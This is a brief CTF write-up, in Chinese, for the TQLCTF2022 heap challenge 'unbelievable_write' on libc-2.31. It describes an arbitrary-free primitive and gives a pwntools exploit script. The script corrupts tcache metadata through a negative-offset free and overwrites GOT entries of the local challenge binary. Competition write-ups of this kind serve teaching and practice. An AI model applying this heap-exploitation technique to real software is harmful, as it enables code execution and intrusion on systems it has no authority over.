TQLCTF2022

unbelievable_write

libc-2.31

没有泄露,没有pie。

c1函数malloc + readline后立即free掉了堆块。

c2函数可以堆上任意地址free,难点在于size检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

filename = 'pwn2022'
p = process(filename)

def cmd(index):
p.sendlineafter('> ',str(index))

def add(size,content):
cmd(1)
p.sendline(str(size))
p.sendline(content)

def free(index):
cmd(2)
p.sendline(str(index))

target = 0x404080
prt = 0x4040D0
free_got = 0x404018

free(-0x290)

payload = p64(0x404018)*0x40 + p64(0x404080)*0x40
add(0x280,payload)
payload = p64(0x4013be) + p64(0x401040) + p64(0x401050)
add(0xa0,payload)
add(0x320,'1111')

gdb.attach(p)

p.interactive()